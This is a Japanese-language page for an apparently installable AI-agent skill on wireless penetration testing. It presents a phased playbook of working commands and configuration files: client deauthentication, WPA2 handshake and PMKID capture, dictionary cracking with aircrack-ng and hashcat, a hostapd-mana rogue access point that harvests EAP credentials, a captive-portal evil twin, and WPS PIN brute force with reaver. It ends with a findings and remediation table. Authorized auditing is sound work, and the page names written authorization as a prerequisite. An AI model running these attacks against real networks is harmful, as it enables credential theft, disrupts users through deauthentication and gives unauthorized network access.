performing-wireless-network-penetration-test について
セキュリティ評価担当者向けに、WiFi の管理策を検証する無線ネットワーク侵入テストのスキルです。偵察、攻撃テスト、一般的な無線セキュリティ上の問題の記録を扱います。
主な機能
- 01無線ネットワークの偵察
- 02WPA2-PSK のハンドシェイクと鍵のテスト
- 03WPA2-Enterprise と evil twin のテスト
- 04不正アクセスポイントとクライアント分離の確認
- 05WPS セキュリティテスト
- 06発見事項と修正策のテンプレート
活用シーン
- 01許可を得た企業 WiFi の監査
- 02ゲストネットワークのクライアント分離確認
- 03アクセスポイントの暗号化と WPS の評価
- 04無線セキュリティ上の発見事項の記録
インストール
コマンドをコピーしてターミナルで実行します。
$
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill performing-wireless-network-penetration-testインストール後、Claude Code で/performing-wireless-network-penetration-testを入力して読み込まれたか確認します。
同梱ファイル
SKILL.md と一緒にインストールされる参考資料やスクリプト。
LICENSEassets/template.mdreferences/api-reference.mdstandards.mdworkflows.mdscripts/agent.pyprocess.py詳細
ワイヤレスネットワークのペネトレーションテストの実施
概要
ワイヤレスペネトレーションテストでは、暗号化の強度、認証メカニズム、不正なアクセスポイントの検出、クライアントの分離、ネットワークのセグメンテーションなど、組織の WiFi インフラストラクチャのセキュリティを評価します。テストの対象には、802.11a/b/g/n/ac/ax プロトコル、WPA2-PSK、WPA2-Enterprise、WPA3-SAE、キャプティブポータル、および対象範囲に含まれる場合は Bluetooth/BLE が含まれます。
使用する場面
- ワイヤレスネットワークのペネトレーションテストを実施するセキュリティ評価を行う場合
- 関連するセキュリティインシデントへのインシデント対応手順に従う場合
- 定期的なセキュリティテストや監査活動を実施する場合
- 実地テストを通じてセキュリティ制御を検証する場合
前提条件
- ワイヤレスの対象範囲(SSID、BSSID、物理的な場所)を明記した書面による承認
- モニターモードとパケットインジェクションに対応した互換性のあるワイヤレスアダプター(例:Alfa AWUS036ACH、TP-Link TL-WN722N v1)
- Aircrack-ng スイート、Bettercap、Wifite、Kismet を備えた Kali Linux
- 対象のワイヤレスネットワークに物理的に近接できること
- マッピング用の GPS 受信機(任意)
フェーズ 1 — ワイヤレスの偵察
モニターモードを有効化する
# Check wireless interfaces
iwconfig
airmon-ng
# Kill interfering processes
airmon-ng check kill
# Enable monitor mode
airmon-ng start wlan0
# Interface becomes wlan0mon
# Verify monitor mode
iwconfig wlan0mon
パッシブスキャン
# Discover all networks in range
airodump-ng wlan0mon -w wireless_scan --output-format csv,pcap
# Filter by specific channel
airodump-ng wlan0mon -c 6 -w channel6_scan
# Scan 5GHz band
airodump-ng wlan0mon --band a -w 5ghz_scan
# Scan all bands
airodump-ng wlan0mon --band abg -w full_scan
# Kismet passive scanning (advanced)
kismet -c wlan0mon
# Access web UI at http://localhost:2501
ネットワークの一覧
| SSID | BSSID | チャネル | 暗号化 | クライアント数 | 信号強度 |
|---|---|---|---|---|---|
| CorpWiFi | AA:BB:CC:DD:EE:01 | 6 | WPA2-Enterprise | 45 | -55dBm |
| CorpGuest | AA:BB:CC:DD:EE:02 | 11 | WPA2-PSK | 12 | -60dBm |
| PrinterNet | AA:BB:CC:DD:EE:03 | 1 | WEP | 3 | -70dBm |
| HiddenSSID | AA:BB:CC:DD:EE:04 | 36 | WPA2-PSK | 8 | -65dBm |
フェーズ 2 — WPA2-PSK 攻撃
4 ウェイハンドシェイクをキャプチャする
# Target specific network
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:02 -w corpguest wlan0mon
# Deauthenticate a client to force reconnection (handshake capture)
aireplay-ng -0 5 -a AA:BB:CC:DD:EE:02 -c FF:FF:FF:FF:FF:FF wlan0mon
# Verify handshake captured
aircrack-ng corpguest-01.cap
# Look for "1 handshake" in output
WPA2 キーをクラックする
# Dictionary attack with Aircrack-ng
aircrack-ng -w /usr/share/wordlists/rockyou.txt corpguest-01.cap
# GPU-accelerated cracking with Hashcat
# Convert cap to hccapx format
hcxpcapngtool -o hash.hc22000 corpguest-01.cap
# Hashcat mode 22000 (WPA-PBKDF2-PMKID+EAPOL)
hashcat -m 22000 hash.hc22000 /usr/share/wordlists/rockyou.txt \
-r /usr/share/hashcat/rules/best64.rule
# PMKID attack (no client needed)
hcxdumptool -i wlan0mon --enable_status=1 -o pmkid_dump.pcapng \
--filterlist_ap=AA:BB:CC:DD:EE:02 --filtermode=2
hcxpcapngtool -o pmkid_hash.hc22000 pmkid_dump.pcapng
hashcat -m 22000 pmkid_hash.hc22000 /usr/share/wordlists/rockyou.txt
フェーズ 3 — WPA2-Enterprise 攻撃
# Set up rogue AP with EAP credential harvesting
# Using hostapd-mana
cat > hostapd-mana.conf << 'EOF'
interface=wlan0mon
ssid=CorpWiFi
hw_mode=g
channel=6
auth_algs=3
wpa=2
wpa_key_mgmt=WPA-EAP
wpa_pairwise=CCMP TKIP
rsn_pairwise=CCMP
ieee8021x=1
eap_server=1
eap_user_file=hostapd.eap_user
mana_wpe=1
mana_credout=creds.txt
EOF
# EAP user file
cat > hostapd.eap_user << 'EOF'
* PEAP,TTLS,TLS,FAST
"t" TTLS-PAP,TTLS-CHAP,TTLS-MSCHAPV2,MSCHAPV2,MD5,GTC,TTLS,TTLS-MSCHAP "t" [2]
EOF
hostapd-mana hostapd-mana.conf
# Captured MSCHAP challenges can be cracked
# Crack NetNTLMv1 from EAP-MSCHAP
hashcat -m 5500 creds.txt /usr/share/wordlists/rockyou.txt
フェーズ 4 — イービルツイン攻撃
# Create evil twin with Bettercap
sudo bettercap -iface wlan0mon
# Within Bettercap:
wifi.recon on
wifi.ap
# Or manual evil twin with hostapd + dnsmasq
cat > evil_twin.conf << 'EOF'
interface=wlan1
ssid=CorpGuest
hw_mode=g
channel=6
driver=nl80211
auth_algs=1
wpa=0
EOF
# Start captive portal
hostapd evil_twin.conf &
dnsmasq --no-daemon --interface=wlan1 --dhcp-range=192.168.1.10,192.168.1.100,12h \
--address=/#/192.168.1.1
# Deauth clients from real AP to force connection to evil twin
aireplay-ng -0 0 -a AA:BB:CC:DD:EE:02 wlan0mon
フェーズ 5 — 追加テスト
不正なアクセスポイントの検出
# Compare authorized AP list against discovered APs
# Authorized BSSIDs from client documentation
# Flag any unknown BSSIDs broadcasting corporate SSIDs
# Check for misconfigured APs
# Personal hotspots bridging to corporate network
# IoT devices with default WiFi settings
クライアント分離のテスト
# After connecting to guest network:
# Scan for other clients
nmap -sn 192.168.10.0/24
# Attempt to reach corporate resources
nmap -sT -p 80,443,445,3389 10.0.0.0/24
# Test VLAN hopping
# If guest network is not properly segmented from corporate
WPS 攻撃
# Check for WPS-enabled APs
wash -i wlan0mon
# WPS PIN bruteforce (if WPS enabled and not rate-limited)
reaver -i wlan0mon -b AA:BB:CC:DD:EE:03 -vv
# Pixie-Dust attack (offline WPS PIN recovery)
reaver -i wlan0mon -b AA:BB:CC:DD:EE:03 -K 1 -vv
検出事項のテンプレート
| 検出事項 | 重大度 | CVSS | 修正策 |
|---|---|---|---|
| 弱いパスフレーズを使用した WPA2-PSK | 高 | 8.1 | 20 文字以上のパスフレーズを使用するか、WPA2-Enterprise に移行する |
| プリンターネットワークでの WEP 暗号化 | 重大 | 9.1 | WPA2/WPA3 にアップグレードし、プリンター VLAN を分割する |
| ゲスト AP で WPS が有効 | 中 | 5.3 | すべてのアクセスポイントで WPS を無効にする |
| ゲストネットワークでクライアント分離が無効 | 高 | 7.5 | AP 分離と VLAN セグメンテーションを有効にする |
| 不正な AP で企業 SSID がブロードキャストされている | 高 | 8.1 | WIDS/WIPS を導入し、証明書検証を伴う 802.1X を実装する |
| 証明書のピン留めがない EAP-MSCHAP | 高 | 7.5 | すべてのクライアントでサーバー証明書の検証を強制する |
参考資料
- Aircrack-ng のドキュメント:https://www.aircrack-ng.org/doku.php
- CISA Aircrack-ng:https://www.cisa.gov/resources-tools/services/aircrack-ng
- WiFi Alliance WPA3 仕様:https://www.wi-fi.org/discover-wi-fi/security
- NIST SP 800-153:WLAN セキュリティ確保のガイドライン
- Hashcat WPA モード:https://hashcat.net/wiki/doku.php?id=example_hashes
コメント
Markdown 対応